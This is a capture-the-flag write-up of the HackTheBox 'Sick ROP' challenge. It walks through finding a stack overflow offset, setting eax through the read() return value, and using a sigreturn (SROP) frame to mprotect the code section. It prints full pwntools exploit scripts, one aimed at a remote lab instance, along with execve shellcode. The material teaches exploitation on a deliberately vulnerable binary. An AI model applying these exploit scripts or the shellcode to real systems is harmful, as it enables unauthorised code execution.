sick rop ctf challenge

setup

I haven’t done any kind of pwn/exploitation challenge in a while so lets go. Looking around for an easy ROP challenge on hackthebox I spotted Sick ROP:

The 5.0 star rating stuck out, so lets go. I setup a hasty amd64 linux VM, installed GEF and pwntools.

analysis

gef➤  checksec
[+] checksec for '/home/kevin/ctf/sick_rop'
Canary                        : ✘
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘
RelRO                         : ✘

NX makes sense given it’s a ROP challenge. A quick look under binary ninja (free edition!!):

Comments are mine. This is a really basic binary. Some notes:

Obviously the point of this challenge isn’t finding the vulnerability but instead exploiting it (there’s a function called vuln()). What do memory maps look like at runtime?

No rwx sections, which is what I’d expect. So, given:

I’d say our goal is to make a syscall somehow to mprotect() on the .text section at 0x401000 to make it writable. We can obviously ret in to the middle of the custom read() function, and we’d be able to call some syscall in which we can control two arguments, if we could somehow control eax?

controlling eax via read() return

Luckily I remember an old trick from my ctf days: read() will set eax depending on the number of bytes you feed it - so we can theoretically call any syscall from 0-768 (though the overflow would ruin the stack if we go above 40 though). And actually in this case, write() will do the same, which means we can manually ROP to vuln(), feed a number of bytes of our choosing, and set eax on ret accordingly (why ROP to vuln()? because we need some known-address of a buffer to read to, and vuln() takes care of that for us).

Let’s do an experiment to see if we can trigger the overflow to ROP back to vuln() and make eax equal to ‘7’.

find offset to return addr

# generate a long string
> pwn cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

# crash the program with it and read $rsp
Program received signal SIGSEGV, Segmentation fault.
0x000000000040104e in vuln ()

....

gef➤  x/gx $rsp
0x7fffffffe398: 0x6161616c6161616b

# calculate the offset
> pwn cyclic -l 0x6161616c6161616b
40

test #1: call syscall ‘7’

#!/usr/bin/env python3
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

syscall_rop = 0x401014
vuln_addr = 0x0040102e

p = process('./sick_rop')
gdb.attach(p, '''
    break _start
''')

log.info('Waiting for key press...')
input()

payload = b'A'*40
payload += p64(vuln_addr)       # rop back to vuln() so write() sets eax
payload += p64(syscall_rop)     # call a syscall

p.send(payload)

# call syscall '7'
p.send(b'A'*7)
p.interactive()

And when we break on last instruction before the return in vuln() we see that we will be returning to a syscall instruction with rax set to ‘7’:

but… what syscall to ROP to???

Unfortunately the syscall gadgets available suck. With either read() or write() we’re stuck with a syscall with a number < 40 that takes (at most) two arguments. I poured over the list until I saw sys_rt_sigreturn() and remembered that SROP is a thing, and oh yeah, the name of the challenge….

how to SROP

I’m pretty sure I’ve never actually done SROP, but googling ‘pwntools srop’ landed me this sweet page: https://docs.pwntools.com/en/stable/rop/srop.html

Sigreturn ROP (SROP)

Sigreturn is a syscall used to restore the entire register context from memory pointed at by ESP.

We can leverage this during ROP to gain control of registers for which there are not convenient gadgets. 
The main caveat is that _all_ registers are set, including ESP and EIP (or their equivalents). 
This means that in order to continue after using a sigreturn frame, the stack pointer must be set accordingly.

with a nice code example (and look how convenient!)

>>> frame = SigreturnFrame()
>>> frame.rax = constants.SYS_write
>>> frame.rdi = constants.STDOUT_FILENO
>>> frame.rsi = binary.symbols['message']
>>> frame.rdx = len(message)
>>> frame.rsp = 0xdeadbeef
>>> frame.rip = binary.symbols['syscall']

my code now looks like the following:

#!/usr/bin/env python3

from pwn import *

context.clear(arch='amd64')
context.terminal = ['tmux', 'splitw', '-h']

syscall_rop = 0x401014
vuln_addr = 0x0040102e

p = process('./sick_rop')

# set a breakpoint at epilogue of vuln()
gdb.attach(p, '''
    break *0x40104d
''')

log.info('Waiting for key press...')
input()

payload = b'A'*40
payload += p64(vuln_addr)       # rop back to vuln() so write() sets eax
payload += p64(syscall_rop)     # call a syscall

# mprotect(0x400000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC)
frame = SigreturnFrame(kernel='amd64')
frame.rax = constants.SYS_mprotect
frame.rdi = 0x400000
frame.rsi = 0x2000
frame.rdx = constants.linux.PROT_READ | constants.linux.PROT_WRITE | constants.linux.PROT_EXEC
frame.rsp = 0x400f00
frame.rip = syscall_rop
payload += bytes(frame)

# send it
p.send(payload)

# call syscall '15' (14 chars + newline) aka sys_rt_sigreturn()
p.sendline(b'A'*14)
p.interactive()

worth explaining:

after testing my screen looks like this:

looks good.

finishing up

This post is getting lengthy for a simple ROP challenge, so here’s the finish:

Here’s the final result:

and the final code:

from pwn import *

context.clear(arch='amd64')
context.terminal = ['tmux', 'splitw', '-h']

syscall_rop = 0x401014
vuln_addr = 0x0040102e

#p = process('./sick_rop')
p = remote('94.237.58.188', 51776)

# set a breakpoint at epilogue of vuln()
#gdb.attach(p, 'break *0x40104d')

log.info('Waiting for key press for payload 1...')
input()

payload = b'A'*40
payload += p64(vuln_addr)       # rop back to vuln() so write() sets eax
payload += p64(syscall_rop)     # call a syscall

# mprotect(0x400000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC)
frame = SigreturnFrame(kernel='amd64')
frame.rax = constants.SYS_mprotect
frame.rdi = 0x400000
frame.rsi = 0x2000
frame.rdx = constants.linux.PROT_READ | constants.linux.PROT_WRITE | constants.linux.PROT_EXEC
frame.rsp = 0x4010d8
frame.rip = syscall_rop
payload += bytes(frame)

# send it
p.send(payload)

# call syscall '15' (14 chars + newline) aka sys_rt_sigreturn()
p.sendline(b'A'*14)

# once we ret back to vuln() we need to feed it some shellcode, this is a quick grab
# from msfvenom:
sc =  b""
sc += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
sc += b"\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05"

payload =  b'A'*40
payload += p64(0x4010e8)
payload += sc


log.info('Waiting for key press for payload 2...')
input()
p.send(payload)
p.interactive()